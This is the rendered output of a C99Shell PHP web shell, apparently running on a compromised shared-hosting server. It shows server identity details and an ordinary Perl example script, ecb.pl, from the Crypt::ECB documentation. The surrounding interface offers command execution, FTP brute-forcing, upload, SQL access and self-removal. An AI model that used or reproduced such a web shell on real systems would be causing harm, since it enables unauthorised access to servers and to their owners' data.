!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Crypt-ECB/eg/   drwxr-xr-x
Free 6181.79 GB of 6262.99 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ecb.pl (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl -w

use Getopt::Std;
use Crypt::ECB;

use strict;

my $usage = "Usage: ecb.pl [-d] [-c <cipher>] [-p <padding>] [-k <key>] [-f <keyfile>]
    or ecb.pl -l
    or ecb.pl -v

Encrypt/decrypt files using ECB mode. Reads from STDIN, writes to STDOUT.

Options:
  -l        list available ciphers
  -d        decrypt (default mode is encrypt)
  -k <key>    key to use
  -f <keyfile>    file containing key; either -k or -f must be specified
  -c <cipher>    block cipher to use, defaults to 'Rijndael' (AES)
  -p <padding>    padding mode to use, possible values are 'standard' (default),
        'zeroes', 'oneandzeroes', 'rijndael_compat', 'null', 'space'
        and 'none'. See Crypt::ECB for details on the different modes.
  -v        print Crypt::ECB version
";

my $version = "Using Crypt::ECB version $Crypt::ECB::VERSION.\n";

my $options = {}; getopts('vldc:p:k:f:', $options) || die $usage;

print($version), exit(0) if $options->{v};
list_ciphers(),  exit(0) if $options->{l};

die $usage unless $options->{k} or $options->{f};

sub slurp { open(F,$_[0]) || die "Couldn't open $_[0]: $!\n"; local $/; return <F> }

my $key        = $options->{k} || slurp($options->{f});
my $cipher    = $options->{c} || 'Rijndael';    # AES
my $padding    = $options->{p} || 'standard';
my $mode    = $options->{d}  ? 'decrypt' : 'encrypt';

my $ecb = Crypt::ECB->new(-key => $key,    -cipher    => $cipher, -padding => $padding);

$ecb->start($mode);
print $ecb->crypt while read(STDIN, $_, 1024);
print $ecb->finish;

exit(0);


sub list_ciphers
{
    print "Checking your perl installation for block ciphers compliant with Crypt::ECB...\n";

    my ($ecb, $ok) = (Crypt::ECB->new, 0);

    close STDERR;    # avoid strange error messages from modules tried

    foreach my $path (@INC)
    {
        while (<$path/Crypt/*.pm $path/Crypt/*/*.pm>)
        {
            next unless /\.pm$/;

            s|^.*Crypt/||;
            s|\.pm$||;
            s|/|::|g;

            eval { $ecb->cipher($_) };

            printf(" found %-25s (keysize: %2s, blocksize: %2s)\n",
                "$_ ".$ecb->module->VERSION, $ecb->keysize, $ecb->blocksize)    if !$@ and ++$ok;
        }
    }

    print "There do not seem to be any block ciphers installed (at least none which I can\n"
        . "use). Crypt::ECB will not be of any use to you unless you install some suitable\n"
        . "cipher module(s).\n" unless $ok;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0109 ]--